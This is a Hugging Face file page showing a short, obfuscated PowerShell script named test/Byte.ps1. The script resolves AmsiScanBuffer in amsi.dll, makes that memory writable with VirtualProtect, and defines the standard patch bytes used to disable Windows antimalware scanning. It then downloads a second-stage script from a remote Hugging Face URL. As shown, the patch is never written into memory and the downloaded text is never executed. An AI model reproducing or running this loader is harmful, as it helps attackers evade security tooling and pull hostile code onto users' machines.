gggg / test /Byte.ps1
enotkrutoy's picture
Update test/Byte.ps1
b479a32 verified
raw
history blame
453 Bytes
{loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
${p} = 0
[Win32]::VirtualProtect(${Ad`dre`SS}, [uint32]5, 0x40, [ref]${p})
${P`ATCH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
(New-Object Net.WebClient).downloadstring("https://huggingface.co/spaces/enotkrutoy/gggg/raw/main/test/Marshal.ps1")